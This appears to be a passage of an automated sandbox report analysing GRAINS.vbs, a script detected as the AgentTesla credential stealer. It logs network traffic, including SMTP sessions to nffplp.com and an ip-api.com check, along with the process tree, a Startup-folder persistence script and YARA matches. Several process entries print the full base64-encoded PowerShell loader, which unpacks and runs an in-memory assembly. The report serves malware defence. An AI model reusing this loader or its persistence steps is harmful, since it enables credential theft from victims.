Nov 15, 2024 17:29:32.475056887 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:32.475236893 CET	49713	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:32.475828886 CET	49713	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:32.477288961 CET	49713	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:32.482111931 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:32.834952116 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:32.849787951 CET	49713	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:32.854707003 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:33.203028917 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:33.203478098 CET	49713	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:33.208317041 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:33.557826996 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:33.558204889 CET	49713	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:33.563131094 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:33.941587925 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:33.941879988 CET	49713	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:33.947580099 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:34.310689926 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:34.311038971 CET	49713	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:34.316189051 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:34.753966093 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:34.754160881 CET	49713	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:34.758985996 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:35.109389067 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:35.110119104 CET	49713	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:35.110120058 CET	49713	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:35.110120058 CET	49713	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:35.110209942 CET	49713	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:35.115053892 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:35.115068913 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:35.115078926 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:35.115088940 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:35.471044064 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:35.526298046 CET	49713	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:30:03.113601923 CET	80	49712	208.95.112.1	192.168.2.8
Nov 15, 2024 17:30:03.113671064 CET	49712	80	192.168.2.8	208.95.112.1
Nov 15, 2024 17:30:20.308070898 CET	49712	80	192.168.2.8	208.95.112.1
Nov 15, 2024 17:30:20.312972069 CET	80	49712	208.95.112.1	192.168.2.8
Nov 15, 2024 17:31:10.323386908 CET	49713	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:31:10.328314066 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:31:10.677876949 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:31:10.729463100 CET	49713	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:31:10.766444921 CET	49713	587	192.168.2.8	163.44.198.71

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 15, 2024 17:29:13.973102093 CET	61136	53	192.168.2.8	1.1.1.1
Nov 15, 2024 17:29:13.981148005 CET	53	61136	1.1.1.1	192.168.2.8
Nov 15, 2024 17:29:15.240744114 CET	60964	53	192.168.2.8	1.1.1.1
Nov 15, 2024 17:29:15.721158028 CET	53	60964	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 15, 2024 17:29:13.973102093 CET	192.168.2.8	1.1.1.1	0xa319	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 17:29:15.240744114 CET	192.168.2.8	1.1.1.1	0xb73	Standard query (0)	nffplp.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 15, 2024 17:29:13.981148005 CET	1.1.1.1	192.168.2.8	0xa319	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Nov 15, 2024 17:29:15.721158028 CET	1.1.1.1	192.168.2.8	0xb73	No error (0)	nffplp.com		163.44.198.71	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	208.95.112.1	80	6536	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 17:29:13.993649006 CET	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Nov 15, 2024 17:29:14.624280930 CET	174	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 16:29:14 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 74 72 75 65 0a Data Ascii: true

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49712	208.95.112.1	80	3776	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 17:29:29.045109987 CET	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Nov 15, 2024 17:29:29.656028032 CET	174	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 16:29:29 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 74 72 75 65 0a Data Ascii: true

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Nov 15, 2024 17:29:17.182677984 CET	587	49706	163.44.198.71	192.168.2.8	220-cpanel16wh.bkk1.cloud.z.com ESMTP Exim 4.96.2 #2 Fri, 15 Nov 2024 23:29:16 +0700 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Nov 15, 2024 17:29:17.183047056 CET	49706	587	192.168.2.8	163.44.198.71	EHLO 745773
Nov 15, 2024 17:29:17.553499937 CET	587	49706	163.44.198.71	192.168.2.8	250-cpanel16wh.bkk1.cloud.z.com Hello 745773 [173.254.250.89] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Nov 15, 2024 17:29:17.553700924 CET	49706	587	192.168.2.8	163.44.198.71	STARTTLS
Nov 15, 2024 17:29:17.926898003 CET	587	49706	163.44.198.71	192.168.2.8	220 TLS go ahead
Nov 15, 2024 17:29:31.366718054 CET	587	49713	163.44.198.71	192.168.2.8	220-cpanel16wh.bkk1.cloud.z.com ESMTP Exim 4.96.2 #2 Fri, 15 Nov 2024 23:29:31 +0700 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Nov 15, 2024 17:29:31.366936922 CET	49713	587	192.168.2.8	163.44.198.71	EHLO 745773
Nov 15, 2024 17:29:31.720482111 CET	587	49713	163.44.198.71	192.168.2.8	250-cpanel16wh.bkk1.cloud.z.com Hello 745773 [173.254.250.89] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Nov 15, 2024 17:29:31.721385002 CET	49713	587	192.168.2.8	163.44.198.71	STARTTLS
Nov 15, 2024 17:29:32.076986074 CET	587	49713	163.44.198.71	192.168.2.8	220 TLS go ahead

Target ID:	0
Start time:	11:29:05
Start date:	15/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\GRAINS.vbs"
Imagebase:	0x7ff6e0290000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:29:06
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\Desktop\GRAINS.vbs.exe" /Y
Imagebase:	0x7ff78e090000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:29:06
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:29:08
Start date:	15/11/2024
Path:	C:\Users\user\Desktop\GRAINS.vbs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\GRAINS.vbs.exe" -enc JABYAHIAeQBoAGoAeQBpACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEoAeAB0AGMAZgAgAD0AIABnAGUAdAAtAGMAbwBuAHQAZQBuAHQAIAAkAFgAcgB5AGgAagB5AGkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAVQB3AGoAYgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEoAeAB0AGMAZgAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAVgBiAGQAawB2ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABVAHcAagBiAGcAIAApADsAJABQAGkAeABnAHYAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAUwB6AHkAaABwAGMAeQB6AG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAVgBiAGQAawB2ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABTAHoAeQBoAHAAYwB5AHoAbQAuAEMAbwBwAHkAVABvACgAIAAkAFAAaQB4AGcAdgB5ACAAKQA7ACQAUwB6AHkAaABwAGMAeQB6AG0ALgBDAGwAbwBzAGUAKAApADsAJABWAGIAZABrAHYALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABVAHcAagBiAGcAIAA9ACAAJABQAGkAeABnAHYAeQAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQAVQB3AGoAYgBnACkAOwAgACQAUwBxAGcAagB6AGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABVAHcAagBiAGcAKQA7ACAAJABIAGoAYQB2AGsAeQBtAGkAdQAgAD0AIAAkAFMAcQBnAGoAegBnAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7ACAAWwBTAHkAcwB0AGUAbQAuAEQAZQBsAGUAZwBhAHQAZQBdADoAOgBDAHIAZQBhAHQAZQBEAGUAbABlAGcAYQB0AGUAKABbAEEAYwB0AGkAbwBuAF0ALAAgACQASABqAGEAdgBrAHkAbQBpAHUALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEgAagBhAHYAawB5AG0AaQB1AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==
Imagebase:	0xd90000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.1515150880.0000000005576000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.1515150880.0000000005576000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000004.00000002.1515150880.00000000053A8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000004.00000002.1551971360.0000000008CE0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000004.00000002.1552432393.0000000009C4F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.1530981472.0000000006350000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.1530981472.0000000006350000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:29:08
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	11:29:12
Start date:	15/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x7c0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.1671199854.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.1671199854.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.1671199854.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.1664884538.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.1664884538.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:29:21
Start date:	15/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xml.vbs"
Imagebase:	0x7ff6e0290000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:29:21
Start date:	15/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Xml.vbs"
Imagebase:	0x7ff6e0290000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	11:29:22
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\AppData\Roaming\Xml.vbs.exe" /Y
Imagebase:	0x7ff78e090000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	11:29:22
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	11:29:24
Start date:	15/11/2024
Path:	C:\Users\user\AppData\Roaming\Xml.vbs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Xml.vbs.exe" -enc JABYAHIAeQBoAGoAeQBpACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEoAeAB0AGMAZgAgAD0AIABnAGUAdAAtAGMAbwBuAHQAZQBuAHQAIAAkAFgAcgB5AGgAagB5AGkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAVQB3AGoAYgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEoAeAB0AGMAZgAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAVgBiAGQAawB2ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABVAHcAagBiAGcAIAApADsAJABQAGkAeABnAHYAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAUwB6AHkAaABwAGMAeQB6AG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAVgBiAGQAawB2ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABTAHoAeQBoAHAAYwB5AHoAbQAuAEMAbwBwAHkAVABvACgAIAAkAFAAaQB4AGcAdgB5ACAAKQA7ACQAUwB6AHkAaABwAGMAeQB6AG0ALgBDAGwAbwBzAGUAKAApADsAJABWAGIAZABrAHYALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABVAHcAagBiAGcAIAA9ACAAJABQAGkAeABnAHYAeQAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQAVQB3AGoAYgBnACkAOwAgACQAUwBxAGcAagB6AGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABVAHcAagBiAGcAKQA7ACAAJABIAGoAYQB2AGsAeQBtAGkAdQAgAD0AIAAkAFMAcQBnAGoAegBnAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7ACAAWwBTAHkAcwB0AGUAbQAuAEQAZQBsAGUAZwBhAHQAZQBdADoAOgBDAHIAZQBhAHQAZQBEAGUAbABlAGcAYQB0AGUAKABbAEEAYwB0AGkAbwBuAF0ALAAgACQASABqAGEAdgBrAHkAbQBpAHUALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEgAagBhAHYAawB5AG0AaQB1AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==
Imagebase:	0xc20000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.1671358982.0000000004CCF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000C.00000002.1671358982.0000000004CCF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000C.00000002.1671358982.0000000004A28000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.1748760393.00000000097C8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000C.00000002.1748760393.00000000097C8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000C.00000002.1748760393.0000000009576000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	11:29:24
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	11:29:27
Start date:	15/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0xa10000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000E.00000002.2743831329.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000E.00000002.2743831329.0000000002E01000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	10.8%
Dynamic/Decrypted Code Coverage:	98.3%
Signature Coverage:	2.9%
Total number of Nodes:	409
Total number of Limit Nodes:	48

Executed Functions

Function 0A451BEA Relevance: 3.9, Strings: 3, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

&, xrefs: 0A451142
BzE, xrefs: 0A451BF5
(, xrefs: 0A451C96

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID:
String ID: &$($BzE
API String ID: 0-1186905599
Opcode ID: 1ffbc85637679c9db53f8ef97ec3d06fb23ea9a6e0c1c3f68e2d2c6bcffb34fe
Instruction ID: a93fa249290c8182e45f8952d4380f34091746956882728584a96a289b99af98
Opcode Fuzzy Hash: 1ffbc85637679c9db53f8ef97ec3d06fb23ea9a6e0c1c3f68e2d2c6bcffb34fe
Instruction Fuzzy Hash: CB513C74A003099FDB64DF69E888BAE77F2FB48300F5092AAD51A97351DB349D85CF80

Function 0A3B0040 Relevance: 3.8, Strings: 2, Instructions: 1335
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

k', xrefs: 0A3B1496, 0A3B149B
2, xrefs: 0A3B101E

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID: 2$k'
API String ID: 0-415387411
Opcode ID: 99a079d1754c7877c78ead9cebb8f2b9537bbfb83b5c1ad4553b16a07ce8c7ed
Instruction ID: 7a5cb7a28d410ea0bacf9ccf427d62dfb46b8cba9bce64470db83446f247bd78
Opcode Fuzzy Hash: 99a079d1754c7877c78ead9cebb8f2b9537bbfb83b5c1ad4553b16a07ce8c7ed
Instruction Fuzzy Hash: 43E2F6B4A002288FDB64DF69D8947DAB7B6FF89301F1081EAD909A7754DB349E85CF40

Function 0A451740 Relevance: 2.6, Strings: 2, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

&, xrefs: 0A451142
p\L, xrefs: 0A451778

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID:
String ID: &$p\L
API String ID: 0-3334569553
Opcode ID: deb1aeae1d7306c3442790a5680f14110615993129864a8a48a24d6a71234f9b
Instruction ID: 64159cb140f6bd57ebe83b9c05bf3372fbcb3895aa237bbeae15812179f336a4
Opcode Fuzzy Hash: deb1aeae1d7306c3442790a5680f14110615993129864a8a48a24d6a71234f9b
Instruction Fuzzy Hash: 32516C74A012099FDB64EF69E898BAD73F2FB48300F1092EAD51A97351DB389D85CF40

Function 0A451CA2 Relevance: 2.6, Strings: 2, Instructions: 110
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

&, xrefs: 0A451142
%, xrefs: 0A451D52

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

